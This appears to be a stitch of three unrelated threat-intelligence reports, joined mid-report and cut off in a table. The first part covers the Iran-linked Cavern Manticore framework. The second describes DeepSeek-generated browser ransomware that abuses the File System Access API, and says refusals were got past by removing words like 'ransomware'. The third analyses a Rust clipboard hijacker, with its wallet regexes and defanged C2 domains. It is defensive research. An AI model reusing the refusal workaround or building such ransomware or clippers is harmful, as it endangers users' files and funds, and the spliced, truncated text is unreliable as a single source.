Idiosyncratic, hand-picked names. Hardcoded markers such as the MYMUTEX123HELLP02 / MYMUTEX123HELLP04 mutexes and the leetspeak Cav3rn to Cavern rename are personal choices, the kind of naming a developer reaches for, not output a model would converge on.
Inconsistencies across modules. Casing drifts (netapi32.dll in some descriptors, Netapi32.dll in others), debug strings read like scratch notes (No Handler for path [...] ++), and the command grammar is bespoke rather than a library default.
None of these are individually conclusive, but together they form a consistent picture. The higher-level decisions (the three-format compilation strategy, the per-module AppDomain isolation with post-execution unload, the numbered self-update scheme) reflect deliberate design by someone who understood the trade-offs. The low-level texture (the frustration, the typos, the personal naming) reflects hands-on human coding. Our assessment is that Cavern is a human-authored framework, very plausibly built with some AI assistance for routine code, but driven and shaped throughout by a developer rather than generated end to end.
Victimology
Our analysis indicates that Cavern Manticore is primarily focused on Israeli targets, with particular interest in organizations operating in the government and IT sectors. Recent campaigns suggest that the threat actor possesses a strong understanding of the complex IT supplier chains within Israel’s cyber ecosystem. In several cases, we observed evidence of the actor moving from an initial compromised IT provider to a second-hop provider before ultimately reaching the intended target organization. This activity highlights the operational value of trusted service-provider relationships, particularly where Remote Monitoring and Management (RMM) solutions are deployed. By abusing these tools, the actor can move laterally between victims and deliver malicious software disguised as legitimate updates. The actor also appears to leverage browser-based remote desktop technologies to access targets of interest and, in some cases, abuse built-in features such as remote printing to exfiltrate data when clipboard-based copy-paste or file-transfer capabilities are restricted.
Attribution
During our analysis of an older Cavern Manticore toolset, we identified a communication module (CAV3RN_Http_Module) that uses a webshell-style ASP.NET handler, cac.aspx, hosted on a separate IIS server at one of two attacker-controlled or attacker-deployed domains and used as the command-and-control endpoint. The use of victim-side infrastructure to proxy C2 traffic, combined with XOR-based obfuscation, Base64 encoding, and a fixed verb set per backdoor, is consistent with techniques we have previously observed in operations attributed to OilRig subgroup named Lyceum. Additional overlaps further support a possible Iranian nexus: the targeting of SysAid servers has been observed in past activity linked to Iranian MOIS-aligned actors, including MuddyWater, and this campaign similarly focused on major IT providers in Israel. Finally, WHOIS analysis of the root domain observed in the campaign, hospitalinstallation[.]com, showed that it was registered through Fars Data, an Iranian hosting provider. Taken together, these technical evidences suggest a connection to Iranian-nexus threat activity.
Conclusion
Cavern Manticore illustrates the continued evolution of Iran-nexus cyber capabilities, exposing a mature and modular C2 framework that can be rapidly adapted to new campaigns, targets, and operational requirements. The adversary’s ability to gain access to organizations in the defense and government sectors during the U.S. military campaign “Operation Epic Fury” demonstrates both a high operational tempo and a disciplined approach to target selection.
This activity also emphasizes the persistent risk posed by supply-chain compromise. In several cases, a compromised IT supplier was not the final objective, but rather the first hop toward a higher-value target. By abusing trusted access relationships, the operators were able to move across organizational boundaries while blending into legitimate administrative workflows.
The campaign further highlights the expanding role of Remote Monitoring and Management tools (RMM) as an evolution of traditional living-off-the-land techniques. For defenders, this reinforces the need to monitor anomalous activity originating from otherwise benign RMM software, enforce strict access controls, limit remote sessions, and reduce the overall attack surface exposed through third-party management infrastructure.
By decoupling its core infrastructure from mission-specific modules, Cavern Manticore’s operators gain both operational agility and durability under defensive pressure. This modularity allows them to adjust capabilities per campaign while preserving the underlying framework. For defenders, the key takeaway is clear: detection strategies must move beyond static IOCs and focus on malware behavior patterns, infrastructure, and abuse of trusted administrative channels.
Protections
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of this attack and protect against threats described in this report.
Security Recommendation
Conduct a focused review of logs, process execution events, and file activity involving uxtheme.dll, as this DLL is known to be abused in DLL sideloading attack chains. Security teams should also examine the C:\ProgramData directory for unusual DLL placement, recently created folders, unsigned binaries, or execution patterns that may indicate attempted or successful DLL sideloading.
Operator-deployed ASP.NET handler at https://<adserviceupdate[.]com|hygienehistory[.]com>/cac.aspx. Carried as configuration by the older Cav3rn agent and the older mhm.dll variant (defined but not invoked by either), and invoked by the olderCav3rnHTTP module.
inpt / outpt working directories
Command / result drop dirs for the older Cav3rn agent
AI can turn high-level malicious ideas into concrete techniques, and can independently design and implement novel attack paths that have not yet appeared in real-world campaigns.
In this research, DeepSeek connected unrealistic browser-malware concepts with a real browser capability, turning an AI-generated malware hallucination into a plausible browser-native ransomware technique. Although the generated sample was incomplete, it exposed a practical abuse path based on the File System Access API and access to photo directories.
The technique does not require a native payload, APK installation, browser exploit, or root access. It relies on social engineering and a legitimate permission prompt exposed by the File System Access API in Google Chrome.
The Android scenario is especially concerning because photo directories are high value personal data stores and, unlike iOS, modern Android Chrome versions expose a browser API that allows web pages to read and modify files in those directories after user approval. Using a fake AI image-enhancement workflow gives users a plausible reason to approve folder-level file access. Our PoC demonstrates this browser-only workflow against selected image directories on Android.
Introduction
Over the past several years, large language models have reshaped software development, and malware development has followed the same path. Check Point Research has documented this trend from early experiments showing that AI systems could generate offensive components, to cases of cybercriminals using ChatGPT to create malicious tools, and later to advanced AI-authored malware frameworks such as VoidLink. In some cases, LLMs lowered the barrier enough for users with little or no development experience to produce working offensive code.
As frontier models became better at writing reliable code, including complex security related components, major AI vendors also turned cyber safety into a dedicated control area. Clearly malicious requests involving credential theft, malware deployment, ransomware behavior, persistence, stealth, or unauthorized exploitation are now commonly blocked or refused. OpenAI’s cyber-safety documentation, for example, describes additional safeguards for models classified as having High Cybersecurity Capability, while Anthropic has published reports on detecting and countering cyber misuse of Claude.
DeepSeek then becomes particularly relevant in this context for several reasons:
Lower refusal rates for harmful cyber enforcement: compared with Anthropic and OpenAI, DeepSeek models were less consistent refusing harmful cyber requests, including the File System Access API implementation we will be discussing later on this article.
Low barrier to access: DeepSeek is free to use via the web interface, widely available, and accessible in regions where other frontier models face regulatory or commercial restrictions. This lowers the cost of repeated malicious experimentation.
End-to-end malicious code from a single prompt: in our testing, a working malicious application could often be generated from a single broad prompt. Achieving a comparable result with OpenAI or Anthropic typically requires decomposing the attack into multiple benign-looking requests and manually assembling the generated components.
Putting this all together, these differences make DeepSeek particularly attractive to threat actors: DeepSeekmodels can turn high‑level malicious ideas into concrete, complete attacks with less expertise than competing platforms.
Check Point Research analyzed nearly 3,000 files attributed to DeepSeek observed in public telemetry over the past year. The dataset included Python, PowerShell, Batch, HTML, JavaScript, VBScript, and other file types. Of these, 1,383 files were classified as malicious or dangerous by either VirusTotal detection or static source analysis. Within this dataset, we found a sample that implemented a dangerous browser-native technique we have not observed exploited in the wild. We refer to it as In-Browser Ransomware. The technique uses a phishing lure to persuade the victim to grant file-system access to a web page; once access is granted, the page can enumerate local files in the selected folder, read and exfiltrate their contents, encrypt and overwrite them, and display a ransom-style message, all without installing a native payload or exploiting the browser.
The underlying browser risk was already known to browser engineers. The File System Access specification explicitly lists ransomware as a security consideration, and the 2023 USENIX Security paper RoB: Ransomware over Modern Web Browsers studied the abuse of the File System Access API to encrypt local files from a malicious web application.
The important finding in our research and what is new, is how the AI model brought these previously documented concepts together, into a realistic and enforceable attack scenario leveraging a method that defenders had originally thought was unfeasible due to browser sandboxing limits: a DeepSeek-attributed malicious sample, generated as an all-in-one malware fantasy, connected this documented platform risk to a realistic phishing-style web application, demonstrating a viable end-to-end attack chain. An attacker does not need to know that a browser exposes a file-system API. They can ask for an impossible-sounding outcome – a website that steals files, captures keystrokes, takes screenshots, encrypts files, and demands payment – and the model may connect the request to a real browser capability. Basically, the AI model showed an ability to reason across existing knowledge and combined multiple known components into a coherent attack workflow that could be readily used by an attacker. This illustrates how frontier AI models may move beyond simply enhancing existing attacker techniques to lowering the expertise required to operationalize complex attack chains by connecting knowledge in ways that previously relied on human experience and creativity.
A Noisy Sample With One Important Idea
The sample that caught our attention is SHA256
07c39f79ab92fb21557b82283472dce1c112f577d796111fb752c3c6d84c86b5, a Python Flask application that serves victim-facing HTML and JavaScript from embedded templates and also includes backend routes intended to receive information from the victim and provide an administration panel.
We do not have the prompt submitted to the AI model that produced this sample. Judging by the code structure, function names, and comments, it was likely formulated very broadly such as something similar to this example: create a universal malicious tool that runs through the browser and collects as much victim data as possible, encrypts files, and demands ransom. In a single front-end, the generated code assembled routines and stubs for keylogging, clipboard monitoring, form and network-request interception, Discord-token collection, crypto-wallet and payment-card discovery, geolocation requests, webcam and microphone access, screenshots, local-file access, Chrome exploit stubs, “persistence,” and a ransomware-style overlay. This does not mean the sample actually implements all of these capabilities. A more accurate reading is that it is an AI-generated blueprint in which the model tried to translate familiar capabilities of native stealers and ransomware tools into a web page opened in the browser.
The victim-facing page is disguised as a Discord avatar AI upscaler:
Figure 1 – Victim-facing lure disguised as a Discord avatar AI upscaler in the DeepSeek attributed InfernoGrabber sample.
Clicking the button on the victim-facing lure page is intended to start the malicious browser-side sequence, although the generated control flow is inconsistent and does not complete reliably. After a fake processing step, the page is intended to display a ransomnote-style overlay under the name InfernoGrabber v9.0. The message claims that passwords, credit cards, and personal files were encrypted, demands Bitcoin, and displays a countdown threatening publication of private data.
Figure 2 – InfernoGrabber ransom-note overlay.
Most of the functionality claimed in the sample collapses at the browser boundary. A normal web page can observe activity inside its own origin, capture input events delivered to its own DOM, request browser-mediated permissions, access storage scoped to its own origin, and render frightening overlays. It remains constrained by the browser security model.
In this sample, the “desktop screenshot” routine captures the rendered web page, the keylogger observes keystrokes only while the user interacts with the page, webcam and microphone capture depend on browser permission prompts, and the Discord-token stealing logic searches storage available to the current origin. The “persistence” logic relies on browser storage and a service worker registration attempt.
Much of the sample therefore reads as an AI hallucination produced in response to an overly broad prompt or to requirements that a normal web page cannot satisfy. The exception was the file-access workflow, where the generated code reached for a real browser primitive with practical abuse potential.
The generated JavaScript referenced:
showOpenFilePicker();
showDirectoryPicker();
recursive traversal of a user-selected directory;
reading selected files through browser file handles;
sending file contents to the Flask backend;
displaying a ransomware-style warning after the interaction.
The File System Access API is a legitimate browser capability designed for web applications such as editors, IDEs, and creative tools. After the user grants access, a web application can read files and folders from the local device. The API also supports write access and directory enumeration under browser permission controls.
The technique is limited to browsers that expose the picker-based File System Access API. At the time of writing, this primarily means Chromium-family browsers: the API shipped on desktop in Chrome 86, and Chrome 132 extended File System Access support to Android and WebView. Firefox and Safari do not expose the same local file and directory picker methods, which limits the immediate attack surface but also concentrates the risk in Chrome-based browsing environments.
The sample lacked a complete and reliable browser-side encryption flow, yet the attack design was concrete: a fake utility convinces the user to grant browser file access, which allows the page to exfiltrate and encrypt files.
The model combined fake OS-level malware claims with a real browser primitive and produced a browser-native file-theft and ransomware scaffold. The sample shows how an LLM can transform an abstract malicious request into a new attack blueprint. The user likely wanted an all-in-one tool: a Discord-themed lure, a stealer, an admin panel, and a ransomware or locker workflow. The model chose a Flask application and a browser frontend as the unifying architecture. In doing so, it connected a hallucinated malware concept to a real platform feature with genuine abuse potential.
Even though we have not yet observed this exact browser-native ransomware pattern widespread in-the-wild campaigns, the technique is still operationally relevant for several reasons:
The browser becomes the execution environment: the attack runs entirely inside the browser process, without installing any additional app, dropping a binary, or exploiting a vulnerability. Traditional endpoint protections focus on apps and native payloads; a website that encrypts files after a legitimate-looking permission sits outside those assumptions.
Lower friction for victims: opening a web page and clicking “Allow” on a file-access prompt is a normal part of using modern web applications. Users do not intuitively treat this as “running malware”, which makes the social-engineering angle powerful.
Cross-platform reach: the same browser-native technique can target any platform where the File System Access API is exposed, we tested on Android and Windows.
From Hallucinated Scaffold to Working PoC
Because the original sample was incomplete, we tested whether the latest DeepSeek model V4 could turn the same browser-native attack idea into a working proof of concept.
When prompted directly to create ransomware, the model consistently refused across all tested modes.
Figure 3 – DeepSeek V4 refuses to generate ransomware when prompted directly.
Even though some requests were denied, we managed to succeed in the end. We removed explicit terms such as “ransomware” while preserving the same functionality: a web page that asks the user for access to local files, processes them inside the browser, and leaves the user unable to recover the original content.
In Instant mode, DeepSeek consistently generated HTML/JavaScript code that used the File System Access API to interact with user-selected files.
In Expert mode, the behavior was inconsistent across attempts:
several attempts ended in refusal;
one generated a non-functional sample;
one generated a fully working browser-based ransomware PoC.
One response was especially notable because the model described the result as:
“a crafted trap that combines a convincing AI upscaler interface with hidden ransomware-like behaviors”
This wording shows that the model recognized the malicious nature of the scenario while still continuing the generation.
For comparison, we tested similar requests against ChatGPT and Claude. In our tests, these systems either refused to help or generated constrained browser-safe implementations that did not use the File System Access API.
This does not mean that the same outcome is impossible with other frontier systems. With an incremental approach, a user can ask for separate components that appear benign in isolation, such as a user interface, browser file handling, client-side data transformation, and neutral status messaging, and then assemble them into a harmful workflow by replacing the neutral messages with a ransom note. The difference is the level of steering required. In that scenario, the user needs enough technical understanding to decompose the attack, preserve the malicious objective across separate requests, identify the right browser primitive, and combine the generated pieces manually.
In-Browser Ransomware on Android
To assess the practical risk of this technique, we used an LLM to build a controlled proof-of-concept (PoC) based on the same idea we observed in the DeepSeek-attributed sample: a browser-native ransomware workflow disguised as an AI image upscaler.
On Android, modern Chrome versions expose the picker-based File System Access API to web content. On iOS, Safari does not expose the same File System Access primitives to websites. Access to photos is mediated by the operating system’s app-sandbox and photo-library permissions instead of a web API that can enumerate and modify arbitrary folders. Chrome on iOS uses WebKit which also does not implement File System Access API. As a result, on mobiles, the technique we demonstrate is currently practical on Android Chromium browsers.
At the same time, the attack surface is narrower than arbitrary disk access. The picker-based File System Access API does not let a web page target the whole system disk, and Chromium applies additional restrictions to sensitive locations. In Chromium’s current implementation, broad access to locations such as the user’s home directory, Desktop, Documents, Downloads, Chrome data, application directories, Windows, Program Files, AppData, and several Linux and Android system paths is blocked or constrained. The File System Access specification also explicitly recommends restricting sensitive directories and lists ransomware as one of the risks the API design must account for.
However, selection of the root of the default Pictures and Videos directories was not restricted on any of the tested operating systems (Android and Windows). This capability fits naturally into a social-engineering workflow for a fake photo-processing application.
On desktop, the Pictures folder may contain personal files, but it is usually less central to business workflows than the user’s entire home directory or a Documents directory.
On mobile, the risk profile changes: the photo library is often one of the most valuable local data stores. It may contain years of private photos, identity documents, banking screenshots, medical records, recovery codes, travel documents, work images, and photos of family members. Losing access to this data, or having it exfiltrated, can create personal or business issues from ransomware to blackmail or if the data is sensitive, public disclosure leading to reputational damage and more. Chrome 132 introduced File System Access support on Android, allowing web applications, after user approval, to read and save changes directly to selected files and folders. We tested this capability on several Android devices and confirmed that the latest Chrome version available to us at the time of testing, Chrome 148, also allowed selecting the photo directory, including the root of the DCIM folder.
The workflow on Android looks very natural. The user opens a web page that promises to enhance a photo, selects an image, and is then asked to choose a directory for saving the “enhanced” results. The browser warning that the site will be able to edit files in the selected folder is easy to rationalize in that context: the user expects the service to write processed images back to the device. During the fake processing step, the PoC encrypts pictures inside the selected directory.
Video 1 – Demonstration of a browser-native ransomware PoC on Android using the File System Access API.
The combination of this technique, a natural social-engineering lure, and browser-only execution makes the Android scenario especially concerning. The resulting flow requires no APK installation, no vulnerability exploitation, no native payload, and no root access.
Users generally do not treat opening a web page as a malware execution event, especially when no application is installed and no binary is downloaded. In this case, the browser prompt appears in a context where file access feels expected, while the granted permission gives the page meaningful control over a directory that may contain highly sensitive personal data.
Practical Recommendations for Users
While this research focuses on a controlled PoC, there are concrete steps users can take today to reduce the risk of browser-native ransomware abuse:
Treat browser folder-access prompts as high-stakes decisions: before approving “access to files in a folder”, check which site is asking, which folder is being selected, and whether editing files is truly necessary for the feature you expect. If you are unsure why a site needs write access to an entire directory, decline the request.
Avoid granting websites access to sensitive or irreplaceable data: do not expose folders that contain personal photos, identity documents, recovery codes, or work data unless the site is highly trusted and the need is clear. Prefer selecting a temporary or empty folder for experimental web tools, rather than your main photo library.
Prefer well-established applications for high-value data: for tasks such as backing up photos, editing large collections, or processing sensitive images, use reputable native apps or well-known cloud services instead of newly discovered browser tools with unknown reputation.
Maintain offline and cloud backups of important data: regular backups reduce the leverage attackers gain from encrypting or deleting local files, whether through native ransomware or browser-based techniques.
Keep browsers and mobile OSes updated: browser and OS vendors continue to refine permission models and harden sensitive APIs. Applying updates promptly ensures that you benefit from the latest security controls around features like File System Access.
Be skeptical of AI-branded lures: attackers increasingly disguise malicious flows as “AI” utilities, avatar upscalers, photo enhancers, or productivity tools. A polished AI-themed interface is not a guarantee of safety; apply the same caution you would to any unfamiliar site asking for broad access to local files.
Conclusion
LLM-assisted malware development changes the economics of malicious experimentation. A user with limited technical understanding can describe a harmful outcome, generate code, test the result, adjust the prompt, and repeat the process at very low cost. Tasks that once required a developer, a purchased builder, or prior knowledge of the relevant platform can now be approached through cheap iteration.
This also changes the defender’s problem. Malware generated this way may move the ecosystem away from a limited set of reused families and builders toward a larger volume of disposable, one-off artifacts, each carrying a unique combination of techniques, API usage, and payload logic.
Hallucination adds another important dimension. AI-generated malware can be technically wrong and still reveal practical malicious techniques. When a model tries to satisfy unrealistic requirements, it may search across legitimate platform features and map a malicious goal to an API that actually exists. This process can surface techniques that defenders have not yet seen in the wild, or turn risks previously described mostly in theory into workable attack concepts. The case analyzed in this research shows exactly that: a noisy and partially broken artifact connected a theoretical browser risk to a practical browser-only ransomware technique.
In this case, the user likely asked for an impossible web application, a single browser page that behaves like a fully features stealer and ransomware agent. The model could not satisfy all of those requirements correctly, but in the process of trying, it searched across legitimate browser features and anchored part of the fantasy to a real API: the File System Access API.
This illustrates a broader risk:
A non-expert attacker does not need to know that such an API exists or how to abuse it.
By describing a high-level malicious outcome in natural language, they can cause the model to discover and connect the malicious goal to previously under-explored platform capabilities.
The resulting prototype can then be refined into a working PoC with minimal additional prompting or manual editing.
In other words, AI is not only lowering the barrier for reimplementing existing malware techniques; it is also capable of bridging the gap between purely theoretical risks and practical, novel attacks that defender have not yet seen deployed in the wild.
Historically, new attack techniques emerged through human experimentation, experience, and creativity. Frontier AI changes that dynamic. Rather than being constrained by conventional thinking or established attacker playbooks, AI can reason across existing knowledge and synthesize it in unexpected ways, connecting known capabilities into practical attack chains. The real shift is not that AI is inventing entirely new vulnerabilities, but that it may identify combinations and attack paths that humans had not previously recognized or operationalized.
At the time of analysis, we found no evidence that this technique had been adopted as an in-the-wild malware pattern. The original DeepSeek-attributed sample was incomplete and failed to implement the full attack reliably. However, our testing showed how little effort is required to transform the same idea into a fully working implementation using modern LLMs. The resulting workflow is especially concerning on mobile devices, where a seemingly legitimate request for access to a photo directory can expose highly sensitive personal data to encryption, exfiltration, or both. From a defensive perspective, browser folder-access prompts should be treated as security decisions rather than routine clicks. Before granting a website access to an entire folder, users should review which site is asking, which folder is being selected, whether file modification is allowed, and whether the permission matches the action they intended. Users should avoid granting websites access to directories containing sensitive, private, or irreplaceable data whenever possible.
The threat actor uses multiple channels to promote and distribute a Rust clipboard hijacker, starting with a dedicated phishing page as the central hub and extending to GitHub and SourceForge projects promoted by fake accounts. A dedicated YouTube channel, using AI‑generated narrators, suspicious view spikes, and highly positive (likely coordinated) comments, further reinforces the illusion of popularity and trustworthiness.
In addition, the threat actor’s tools were also promoted through posts on legitimate news websites. These articles appear to be either paid/promoted posts or content published via compromised news outlets, giving the malware extra legitimacy by placing it alongside trusted news content.
The same illusion mechanism extends to VirusTotal, where some samples from this campaign receive benign votes and “safe” comments. Combined with the already low detection rate, this creates a misleading impression of safety that can influence both end users and reputation‑based detection systems.
Introduction
In this research, we analyze a clipboard hijacker campaign that is hidden inside a collection of “solutions” and “tools” that claim to give users an unfair advantage. These offers include Solana and Pump.fun sniper bots (automated tools that try to buy new tokens or meme coins faster than other traders), Aviator Predictor (software that claims to predict the outcome of the popular “Aviator” multiplier game), and several crash‑game “predictors” (programs that supposedly forecast when online betting games will stop and “crash”). The operation mainly targets users who are looking for shortcuts and quick profits—particularly crypto owners and online crash‑game gamblers and traders who are attracted by promises of automated gains and “predictable” outcomes.
To make this operation look legitimate and attractive, the threat actor has built an ecosystem across several platforms. A WordPress phishing site serves as the main landing page, while GitHub and SourceForge projects are used to host and distribute the files. These repositories show inflated engagement—such as high numbers of stars, forks, ratings, and downloads—likely generated by “Ghost Networks” of fake accounts. A YouTube channel, featuring AI‑generated narrators and suspicious spikes in views, promotes the same tools and adds another layer of social proof. In addition, the actor abuses sentiment and reputation signals on VirusTotal, where some samples from this campaign receive benign votes and “safe” comments. Combined with the already low detection rate, this creates a misleading impression of safety that can influence both end users and reputation‑based detection systems.
Behind this social‑engineering and promotion layer, the actual payloads delivered to victims are Rust‑based clipboard hijackers for both Windows and macOS. These binaries install persistence, continuously monitor the clipboard for strings that look like cryptocurrency wallet addresses, and replace them with attacker‑controlled wallets from large, embedded lists. The attacker‑controlled cryptocurrency wallets appear to have received multiple transactions, providing the actor with notable illicit gains.
Phishing Page
This phishing website promotes a mix of “edge” tools that all promise easy, unfair advantages. On one side, Solana / Pump.fun / DEX sniper bots claim they can automatically buy and sell new meme coins faster than other traders. On the other, Aviator Predictor and several Crash Predictors pretend to “decode” or “predict” crash‑game results so users can supposedly win more often. In most cases, victims are funneled to this site through links shared on social media, crypto forums, and Telegram channels. The clear targets are crypto owners, gamblers, and traders who are already looking for shortcuts and quick, automated gains.
Figure 1 — Phishing page.
The WordPress author is @JoseCmanXD, and the same name is used for the Telegram contact provided on the website.
Figure 2 — Telegram account provided in phishing page.
From the website, the actor provides links to GitHub, SourceForge, and YouTube. Across these platforms, the associated content shows inflated engagement, including likely manipulated views and interactions, making the tools appear more popular and trustworthy than they really are.
This inflated engagement appears to be driven by the threat actor’s use of multiple Ghost Networks on each platform. These Ghost Networks consist of fake or low-quality accounts and channels that repeatedly promote his tools, boost view counts, and generate likes or comments, thereby creating a false sense of credibility and social proof for potential victims.
GitHub & SourceForge
The actor appears to operate at least six GitHub accounts to promote and distribute his malicious software. These accounts also seem to collaborate with each other, as they are sometimes listed as contributors to one another’s repositories.
Figure 3 — GitHub account.
The main accounts attributed to the threat actor are Decryptor-j, crash-predictor1, roblox-script1, hack-scripts, and stake-mines. Many of their repositories have received multiple stars and forks from various accounts. This activity appears to be the result of the threat actor’s use of GitHub Ghost Networks, where controlled or fake accounts repeatedly star and fork the repositories to create an illusion of popularity and trustworthiness.
Figure 4 — Repository with 146 stars and 62 forks.
In total, just from GitHub, there appear to be just over 5,000 downloads and potential infections originating from the accounts mentioned above. Of these, over 1,250 downloads are associated with the macOS version of the promoted software “Aviator Predictor”, also indicating an impact on Mac users. When we also consider downloads originating from other platforms and the phishing website itself, the overall number of downloads and potential infections significantly exceeds the figures observed on GitHub alone.
In addition to GitHub, the threat actor also promotes another similar platform on the phishing page, SourceForge. SourceForge allows users to rate projects and leave comments. On this platform, we again observe fake or coordinated accounts posting highly positive feedback, similar to the behavior seen on other platforms that support user engagement. This activity further reinforces a misleading impression of legitimacy and reliability around the malicious tools.
Figure 5 — Positive engagement.
In general, SourceForge appears to have a smaller number of ghost accounts operating on its platform compared to other services observed in previous cases. Although we see relatively few comments or reviews, the download statistics seem highly manipulated, with a total of 44,485 downloads, the majority of which appear to originate from Pakistan and India.
Figure 6 — SourceForge download statistics.
It is interesting to note that the majority of downloads (37,460) appear to come from devices running Android. This is highly suspicious, as the developer currently offers only Windows and macOS versions. We cannot fully confirm this hypothesis, but a plausible explanation is the use of an Android farm to artificially inflate the download count on SourceForge.
YouTube & AI Usage
Another platform promoted through the phishing site is a YouTube channel showcasing the advertised “software” solutions. The videos have a relatively high number of views and likes, which likely helps attract additional victims and convinces them of the supposed effectiveness of these tools. Some older videos appear to target a Russian-speaking audience, suggesting that the threat actor initially focused on Russian-speaking user communities. More recent videos, however, appear to target a broader, global audience by using English.
Figure 7 — YouTube Channel.
Through the actor’s YouTube account, we again observe contact details that link the channel back to the WordPress site and the Telegram account @JoseCmanXD, further strengthening the attribution between these platforms and the same threat actor.
Figure 8 — Channel contact details.
The videos have a substantial number of views, however, their view counts do not show organic growth. Instead, we observe suspicious spikes in views, which is consistent with the use of YouTube Ghost Networks, where bot accounts artificially engage with the videos to inflate view numbers and make them more attractive to potential viewers.
In the comment section, we observe highly positive engagement that is likely used to lure potential victims and make them trust the effectiveness of the showcased solution. Many of these accounts appear to be Ghost Accounts that are used to generate fake views and artificial engagement. We also observe comments from potentially real users complaining about the actual effectiveness of the tools, which further indicates that the promoted software does not work as advertised.
Figure 10 — Positive engagement.
The YouTube video is styled to look like a genuine personal tutorial. It shows a desktop screen with visible mouse movements, as if a real user is demonstrating the “software” in real time. At the same time, an AI-generated narrator appears in the bottom-right corner, providing continuous instructions. This combination of on-screen activity and synthetic presenter is likely used to build trust and make the demonstration appear more authentic and convincing to potential victims.
Figure 11 — AI Generated Narrator.
The use of AI by cybercriminals is not limited to AI-assisted malware. Threat actors are constantly trying to incorporate these new technologies throughout the entire attack chain, including phishing, social engineering, content generation, and delivery mechanisms.
VirusTotal Upvotes Manipulation
Check Point Research has observed that some VirusTotal accounts post community comments and cast benign votes in an attempt to portray clearly malicious Indicators of Compromise (IOCs) as harmless. When this sentiment manipulation coincides with low antivirus detection rates, reputation-based detection systems may be more likely to misclassify these IOCs as benign, potentially allowing them to bypass security controls.
Reputation-based detection allows security teams to make fast, risk-informed decisions about files, URLs, and other network indicators by leveraging global threat intelligence, rather than relying solely on local detections. A key contributor to this intelligence ecosystem is VirusTotal, which aggregates malware and phishing indicators from dozens of security engines and community submissions. This shared visibility helps security vendors rapidly identify emerging threats and malicious infrastructure, strengthening reputation models when combined with their own telemetry and behavioral detection capabilities.
Figure 12 — VirusTotal upvotes and safe comment.
This specific threat actor has incorporated multiple Ghost Network services across GitHub, SourceForge, YouTube, and even VirusTotal. We systematically observed samples downloaded from the phishing site that not only had a low detection rate, but also showed positive engagement on VirusTotal, including upvotes and comments describing the binary as safe. This coordinated activity is likely intended to reduce suspicion and increase victims’ trust in the malicious files.
Figure 13 — VirusTotal upvotes and safe comments, through multiple samples.
While the low detection rate itself is not caused by the positive engagement, the combination of low detections and seemingly positive community feedback creates a strong, but false, impression of safety.
Promotion via News Sites & Forums
While searching for traces of the Telegram handle @JoseCmanXD, we also found references on legitimate news websites. These posts appear to be advertisements promoting the tool’s supposed capabilities and include links back to the phishing page, further luring potential victims into downloading the malicious software.
Figure 14 —The National Law Review, decryptor post.
Such posts could potentially be used to further legitimize the tool and make it appear trustworthy, as its capabilities are being advertised on legitimate news websites. This kind of exposure can mislead users into believing the solution is safe and reputable, when in reality it is part of a malicious campaign.
By searching further, we identified additional related posts from other news-oriented sources. All of these posts appear to have been published on the same day, April 27, 2026, suggesting a coordinated effort to promote the malicious tool within a short time frame.
Figure 15 — Google search results.
The majority of these posts have since been taken down and now appear only as remnants in Google search results. It is unclear whether the threat actor published them through paid advertisements that were later removed by the news outlets after being notified of their malicious nature, or whether there is a malicious service—or a set of compromised news outlets—that offers this kind of fraudulent promotion on legitimate websites.
Beyond using news outlets, the actor also promotes the malicious tool on various forums, particularly those frequented by the targeted audience, such as cryptocurrency-focused communities.
The actor posted on BitcoinTalk.org a long-running online forum founded in the early days of Bitcoin, where users discuss cryptocurrencies, blockchain technology, mining, and related projects. While the site itself is legitimate and historically significant in the crypto community, anyone can post content, including promotions, investment opportunities, and potential scams.
Figure 16 — Bitcoin-related forum post.
Early signs of the actor’s activity were found on a hacking forum where the user has been active since 2019. In 2022, the user created a post titled BLACKHAT | Bitcoin Stealer | Advanced Builder | Tutorial | Clipper [Address Changer]+Re-Fud method, in which he shared a malicious crypto-related tool.
Figure 17 — @JoseCmanXD CryptoRipper.
In addition to providing this malicious tool, the same account has shown interest in other topics such as GET UNLIMITED YOUTUBE VIEWS FREE. This activity could help explain the unusually high view counts and abnormal view spikes observed on the associated YouTube content.
Windows Version
The ‘solutions’ are downloaded as a ZIP archive and contain multiple files, the majority of which are unused throughout the execution of the malicious program. While the threat actor updates the main malicious sample every few weeks, the rest of the unused samples remain untouched.
The victim needs to trigger SniperBot_Premium(Free).exe (or other related name depending on the “solution” promoted). This file is a simple .NET loader which executes the file located in src/config/silkebin.exe.
Figure 18 — Execution of Rust Clipboard Hijacker.
This Windows executable is a Rust-built cryptocurrency clipboard hijacker (clipper). It installs itself for persistence and then continuously monitors the user’s clipboard for cryptocurrency wallet addresses. When it detects a supported address format, it replaces the clipboard contents with an attacker‑controlled wallet address taken from an internal list. The sample achieves persistence by copying itself to %APPDATA%\\silke\\silke.exe and creating a shortcut in the Startup folder so it will automatically run at logon.
The malware creates a hidden window and registers as a clipboard listener using Windows APIs such as AddClipboardFormatListener, OpenClipboard, GetClipboardData, EmptyClipboard, and SetClipboardData. Each time the clipboard changes, it checks whether the new text matches the pattern of a cryptocurrency wallet address (for example, Bitcoin, Ethereum/EVM, Litecoin, Tron, XRP, Cardano, and others) using regular expressions.
If a match is found, the malware replaces the clipboard text with an attacker‑controlled address from a large internal list. This list contains over 15,500 wallet addresses: about 15,000 are Bitcoin-related (5,000 Bitcoin bech32, 5,000 Bitcoin legacy, and 5,000 Bitcoin P2SH), roughly 500 are Ethereum addresses, and the remaining entries include Bitcoin Cash/Gold, Monero, Dogecoin, Cardano, Litecoin, and other cryptocurrencies.
Currency
Regex
Attacker’s Wallets (Count)
Bitcoin Bech32
\\b(bc1)[A-Za-z0-9]{26,45}\\b
5000
Bitcoin Legacy (P2PKH)
\\b(1)[A-Za-z0-9]{26,35}\\b
5000
Bitcoin P2SH
\\b(3)[A-Za-z0-9]{26,35}\\b
5000
Ethereum / EVM
\\b(0x)[A-Za-z0-9]{40,46}\\b
501
Bitcoin Cash (CashAddr)
\\b(q)[A-Za-z0-9]{26,43}\\b
1
Bitcoin Cash (full prefix)
\\b(bitcoincash:)[A-Za-z0-9]{26,58}\\b
1
Bitcoin Gold
\\b(btg)[A-Za-z0-9]{26,43}\\b
1
Stellar (XLM)
\\b(G)[A-Za-z0-9]{26,40}\\b
1
Cardano legacy / others
\\b(A)[A-Za-z0-9]{26,40}\\b
1
Monero (spend key prefix 4)
\\b(4)[A-Za-z0-9]{90,98}\\b
1
Monero (integrated address)
\\b(8)[A-Za-z0-9]{90,98}\\b
1
Dogecoin
\\b(D)[A-Za-z0-9]{26,35}\\b
1
Cardano (Shelley)
